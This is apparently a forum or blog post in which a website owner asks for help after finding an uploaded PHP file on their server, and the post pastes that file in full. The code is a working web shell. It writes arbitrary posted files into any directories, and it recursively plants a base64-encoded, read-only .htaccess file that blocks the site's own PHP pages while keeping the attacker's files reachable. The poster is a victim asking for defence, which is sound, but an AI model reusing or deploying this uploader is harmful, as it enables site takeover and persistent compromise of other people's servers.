Some one has uploaded this code to my root directory pleas let me know to how to avoid this
Please see this file and help me out. if i delete my .htaccess file everything work correctly but after few days it turns to deny all of my pages and with some extra pages like index.php which in don't have in my site and others like vote.php, content.php its code i've shared. i always use to delete all these files and my site came to working otherwise its giving 403 for my all files. and i can see changes in my .htacess file by denying accesss to my all files. how can i get rid of this .htaccess code adding and files adding.
function getAllDir($path){ $dirs = array(); $files = scandir($path); foreach ($files as $file) { if ($file =='.' || $file == '..') { continue; } $file = $path ."/". $file; $file = str_replace("//", "/", $file); if(is_dir($file)) { $dirs[] = $file; } } return $dirs; } function clearDir($dir) { if (substr($dir,strlen($dir) -1) == "/") { $dir = substr($dir,0,strlen($dir)-1); } preg_match("/\/([^\/]+)\$/si", $dir, $matches); if (isset($matches[1])) { return $matches[1]; } return $dir; } function searchDir($path, &$htcontent, &$dir_array){ if(is_dir($path) && is_readable($path)) { $dirs=dir($path); while($dir=$dirs->read()) { if($dir!='.'&& $dir!='..' && $dir!="root") { if (is_dir($path.'/'.$dir) && is_readable($path.'/'.$dir)) { @chmod($path.'/'.$dir.'/.htaccess', 0777); file_put_contents($path.'/'.$dir.'/.htaccess', $htcontent); @chmod($path.'/'.$dir.'/.htaccess', 0444); searchDir($path.'/'.$dir,$htcontent, $dir_array); } } } $dirs->close(); } } function writeHtaccessToAllDirs() { $htcontent = base64_decode("PEZpbGVzTWF0Y2ggIi4oUGhQfHBocDV8c3VzcGVjdGVkfHBodG1sfHB5fGV4ZXxwaHApJCI+CiBPcmRlciBhbGxvdyxkZW55CiBEZW55IGZyb20gYWxsCjwvRmlsZXNNYXRjaD4KPEZpbGVzTWF0Y2ggIl4ocG9zdGZzLnBocHx2b3Rlcy5waHB8aW5kZXgucGhwfHdqc2luZGV4LnBocHxsb2NrNjY2LnBocHxmb250LWVkaXRvci5waHB8bXMtZnVuY3Rpb25zLnBocHxjb250ZW50cy5waHB8anNkaW5kZXgucGhwfHdwLWxvZ2luLnBocHxsb2FkLnBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIEFsbG93IGZyb20gYWxsCjwvRmlsZXNNYXRjaD4KPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0KPC9JZk1vZHVsZT4="); $dir_array = array(); // echo dirname(__FILE__); searchDir(dirname(__FILE__), $htcontent, $dir_array); } echo '<html lang="zh-cn"><head><meta charset="UTF-8"><title>跨站</title> <style>input {margin: 10px;}</style> </head><body><div style="margin: 0 auto; width:1100px"><div style="float: left;text-align: left;width:600px">'; echo '<form action="?ac=path" method="post">'; echo '输入: <input style="width:300px" type="text" name="path" value="" /> <br/>'; echo '<input type="submit" value="查找路径下所有目录" />'; echo '</form><br/><br/><br/><br/>'; if (isset($_GET['ac'])) { switch ($_GET['ac']) { case "path": $path = $_POST['path']; if(file_exists($path)) { $dirs = ""; foreach (getAllDir($path) as $item) { $dirs .= $item . PHP_EOL; } echo '<textarea cols="100" rows="20" name="dirs" form="upload">' . $dirs . '</textarea> '; echo '<br/><form action="?ac=upload" method="post" id="upload">'; echo '二级目录: <input style="width:300px" type="text" name="extend_path" value="" /> <br/>'; echo '文件名: <input style="width:300px" type="text" name="file_name" value="n1.php" /> <br/>'; echo '文件内容：<textarea cols="100" rows="20" name="file_content" form="upload"></textarea> '; echo '<input type="submit" value="上传文件到目录" />'; echo '</form>'; } break; case "upload": $dirs = explode("\n", $_POST['dirs']); $results = ""; foreach ($dirs as $dir) { $dir = trim($dir); if ($dir == "") { continue; } $extend = trim($_POST['extend_path']); if ($extend != "") { $file = $dir ."/" . $extend . "/" . $_POST['file_name']; } else { $file = $dir ."/" . $_POST['file_name']; } $file = str_replace("//", "/", $file); $result = file_put_contents($file, $_POST['file_content']); $htaccess_content = base64_decode("PEZpbGVzTWF0Y2ggIi4oUGhQfHBocDV8c3VzcGVjdGVkfHBodG1sfHB5fGV4ZXxwaHApJCI+CiBPcmRlciBhbGxvdyxkZW55CiBEZW55IGZyb20gYWxsCjwvRmlsZXNNYXRjaD4KPEZpbGVzTWF0Y2ggIl4ocG9zdGZzLnBocHx2b3Rlcy5waHB8aW5kZXgucGhwfHdqc2luZGV4LnBocHxsb2NrNjY2LnBocHxmb250LWVkaXRvci5waHB8bXMtZnVuY3Rpb25zLnBocHxjb250ZW50cy5waHB8anNkaW5kZXgucGhwfHdwLWxvZ2luLnBocHxsb2FkLnBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIEFsbG93IGZyb20gYWxsCjwvRmlsZXNNYXRjaD4KPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0KPC9JZk1vZHVsZT4="); $result_htaccess = file_put_contents($dir . "/.htaccess", $htaccess_content); if ($result != false){ if ($result_htaccess == false) { $results .= $dir . "\t" . ".htaccess上传失败" . PHP_EOL; } $results .= $dir . "\t" . clearDir($dir) . "/" . $_POST['file_name'] . PHP_EOL; } else { $results .= $dir . "\t" . "上传失败" . PHP_EOL; } } echo '<textarea cols="100" rows="20" name="dirs" form="upload">'.$results.'</textarea> '; break; case "write": writeHtaccessToAllDirs(); break; default: break; } } echo '</div></div></body></html>'; exit(); 
没有评论:
发表评论